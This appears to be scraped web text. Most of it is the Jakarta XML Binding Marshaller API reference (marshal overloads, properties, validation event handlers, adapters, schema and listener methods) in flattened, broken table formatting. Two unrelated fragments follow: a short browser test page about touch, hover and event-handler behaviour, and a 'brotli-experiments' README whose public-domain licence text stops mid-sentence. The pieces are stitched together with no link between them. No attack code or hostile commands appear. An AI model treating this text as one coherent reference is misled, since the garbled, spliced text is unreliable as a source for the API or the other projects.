setEventHandler(ValidationEventHandler handler)
Allow an application to register a validation event handler.
|
void |
setListener(Marshaller.Listener listener)
Register marshal event callback
Marshaller.Listener with this Marshaller . |
void |
setProperty(java.lang.String name,
java.lang.Object value)
Set the particular property in the underlying implementation of
Marshaller . |
void |
setSchema(javax.xml.validation.Schema schema)
Specify the JAXP
Schema
object that should be used to validate subsequent marshal operations
against. |
static final java.lang.String JAXB_ENCODING
static final java.lang.String JAXB_FORMATTED_OUTPUT
static final java.lang.String JAXB_SCHEMA_LOCATION
static final java.lang.String JAXB_NO_NAMESPACE_SCHEMA_LOCATION
static final java.lang.String JAXB_FRAGMENT
void marshal(java.lang.Object jaxbElement, javax.xml.transform.Result result) throws JAXBException
jaxbElement
into the specified
javax.xml.transform.Result
.
All Jakarta XML Binding Providers must at least support
DOMResult
,
SAXResult
, and
StreamResult
. It can
support other derived classes of Result
as well.
jaxbElement
- The root of content tree to be marshalled.result
- XML will be sent to this ResultJAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullvoid marshal(java.lang.Object jaxbElement, java.io.OutputStream os) throws JAXBException
jaxbElement
into an output stream.jaxbElement
- The root of content tree to be marshalled.os
- XML will be added to this stream.JAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullvoid marshal(java.lang.Object jaxbElement, java.io.File output) throws JAXBException
jaxbElement
into a file.jaxbElement
- The root of content tree to be marshalled.output
- File to be written. If this file already exists, it will be overwritten.JAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullvoid marshal(java.lang.Object jaxbElement, java.io.Writer writer) throws JAXBException
jaxbElement
into a Writer.jaxbElement
- The root of content tree to be marshalled.writer
- XML will be sent to this writer.JAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullvoid marshal(java.lang.Object jaxbElement, org.xml.sax.ContentHandler handler) throws JAXBException
jaxbElement
into SAX2 events.jaxbElement
- The root of content tree to be marshalled.handler
- XML will be sent to this handler as SAX2 events.JAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullvoid marshal(java.lang.Object jaxbElement, org.w3c.dom.Node node) throws JAXBException
jaxbElement
into a DOM tree.jaxbElement
- The content tree to be marshalled.node
- DOM nodes will be added as children of this node.
This parameter must be a Node that accepts children
(Document
,
DocumentFragment
, or
Element
)JAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullvoid marshal(java.lang.Object jaxbElement, javax.xml.stream.XMLStreamWriter writer) throws JAXBException
jaxbElement
into a
XMLStreamWriter
.jaxbElement
- The content tree to be marshalled.writer
- XML will be sent to this writer.JAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullvoid marshal(java.lang.Object jaxbElement, javax.xml.stream.XMLEventWriter writer) throws JAXBException
jaxbElement
into a
XMLEventWriter
.jaxbElement
- The content tree rooted at jaxbElement to be marshalled.writer
- XML will be sent to this writer.JAXBException
- If any unexpected problem occurs during the marshalling.MarshalException
- If the ValidationEventHandler
returns false from its handleEvent
method or the
Marshaller
is unable to marshal jaxbElement
(or any
object reachable from jaxbElement
). See
Marshalling a Jakarta XML Binding element.java.lang.IllegalArgumentException
- If any of the method parameters are nullorg.w3c.dom.Node getNode(java.lang.Object contentTree) throws JAXBException
marshal(Object, org.w3c.dom.Node)
to force
a deep copy of the content tree to a DOM representation.contentTree
- - Jakarta XML Binding Java representation of XML contentjava.lang.UnsupportedOperationException
- If the Jakarta XML Binding provider implementation does not support a
DOM view of the content treejava.lang.IllegalArgumentException
- If any of the method parameters are nullJAXBException
- If any unexpected problem occursvoid setProperty(java.lang.String name, java.lang.Object value) throws PropertyException
Marshaller
. This method can only be used to set one of
the standard Jakarta XML Binding defined properties above or a provider specific
property. Attempting to set an undefined property will result in
a PropertyException being thrown. See
Supported Properties.name
- the name of the property to be set. This value can either
be specified using one of the constant fields or a user
supplied string.value
- the value of the property to be setPropertyException
- when there is an error processing the given
property or valuejava.lang.IllegalArgumentException
- If the name parameter is nulljava.lang.Object getProperty(java.lang.String name) throws PropertyException
Marshaller
. This method can only be used to get one of
the standard Jakarta XML Binding defined properties above or a provider specific
property. Attempting to get an undefined property will result in
a PropertyException being thrown. See
Supported Properties.name
- the name of the property to retrievePropertyException
- when there is an error retrieving the given property or value
property namejava.lang.IllegalArgumentException
- If the name parameter is nullvoid setEventHandler(ValidationEventHandler handler) throws JAXBException
The validation event handler will be called by the Jakarta XML Binding Provider if any validation errors are encountered during calls to any of the marshal API's. If the client application does not register a validation event handler before invoking one of the marshal methods, then validation events will be handled by the default event handler which will terminate the marshal operation after the first error or fatal error is encountered.
Calling this method with a null parameter will cause the Marshaller to revert back to the default default event handler.
handler
- the validation event handlerJAXBException
- if an error was encountered while setting the
event handlerValidationEventHandler getEventHandler() throws JAXBException
JAXBException
- if an error was encountered while getting the
current event handler<A extends XmlAdapter<?,?>> void setAdapter(A adapter)
XmlAdapter
with this marshaller.
This is a convenience method that invokes setAdapter(adapter.getClass(),adapter);
.
A
- the type of the adapteradapter
- The instance of the adapter to be used. If null, it will un-register
the current adapter set for this type.java.lang.IllegalArgumentException
- if the adapter parameter is null.java.lang.UnsupportedOperationException
- if invoked agains a JAXB 1.0 implementation.setAdapter(Class,XmlAdapter)
<A extends XmlAdapter<?,?>> void setAdapter(java.lang.Class<A> type, A adapter)
XmlAdapter
with this marshaller.
Every marshaller internally maintains a
Map
<Class
,XmlAdapter
>,
which it uses for marshalling classes whose fields/methods are annotated
with XmlJavaTypeAdapter
.
This method allows applications to use a configured instance of XmlAdapter
.
When an instance of an adapter is not given, a marshaller will create
one by invoking its default constructor.
A
- the type of the adaptertype
- The type of the adapter. The specified instance will be used when
XmlJavaTypeAdapter.value()
refers to this type.adapter
- The instance of the adapter to be used. If null, it will un-register
the current adapter set for this type.java.lang.IllegalArgumentException
- if the type parameter is null.java.lang.UnsupportedOperationException
- if invoked agains a JAXB 1.0 implementation.<A extends XmlAdapter<?,?>> A getAdapter(java.lang.Class<A> type)
setAdapter(A)
method.A
- the type of the adaptertype
- The type of the adapter. The specified instance will be used when
XmlJavaTypeAdapter.value()
refers to this type.java.lang.IllegalArgumentException
- if the type parameter is null.java.lang.UnsupportedOperationException
- if invoked agains a JAXB 1.0 implementation.void setAttachmentMarshaller(AttachmentMarshaller am)
am
- the attachment marshaller to be setjava.lang.IllegalStateException
- if attempt to concurrently call this
method during a marshal operation.AttachmentMarshaller getAttachmentMarshaller()
void setSchema(javax.xml.validation.Schema schema)
Schema
object that should be used to validate subsequent marshal operations
against. Passing null into this method will disable validation.
This method allows the caller to validate the marshalled XML as it's marshalled.
Initially this property is set to null
.
schema
- Schema object to validate marshal operations against or null to disable validationjava.lang.UnsupportedOperationException
- could be thrown if this method is
invoked on an Marshaller created from a JAXBContext referencing
JAXB 1.0 mapped classesjavax.xml.validation.Schema getSchema()
Schema
object
being used to perform marshal-time validation. If there is no
Schema set on the marshaller, then this method will return null
indicating that marshal-time validation will not be performed.java.lang.UnsupportedOperationException
- could be thrown if this method is
invoked on an Marshaller created from a JAXBContext referencing
JAXB 1.0 mapped classesvoid setListener(Marshaller.Listener listener)
Register marshal event callback Marshaller.Listener
with this Marshaller
.
There is only one Listener per Marshaller. Setting a Listener replaces the previous set Listener.
One can unregister current Listener by setting listener to null
.
listener
- an instance of a class that implements Marshaller.Listener
Marshaller.Listener getListener()
Return Marshaller.Listener
registered with this Marshaller
.
Marshaller.Listener
or null
if no Listener is registered with this Marshaller.


Touch adjustment
Here is some text
with a link
And here is a superscript
[1]
This text
has a hover effect
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with a tabindex
This is an iframe
This line has a mousedown event handler


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brotli-experiments v0.0.1 github
Just some experiments with Brotli in the browser
Just some experiments with Brotli in the browser
Copyright (c) 2015 Phil Ricketts
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.

IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
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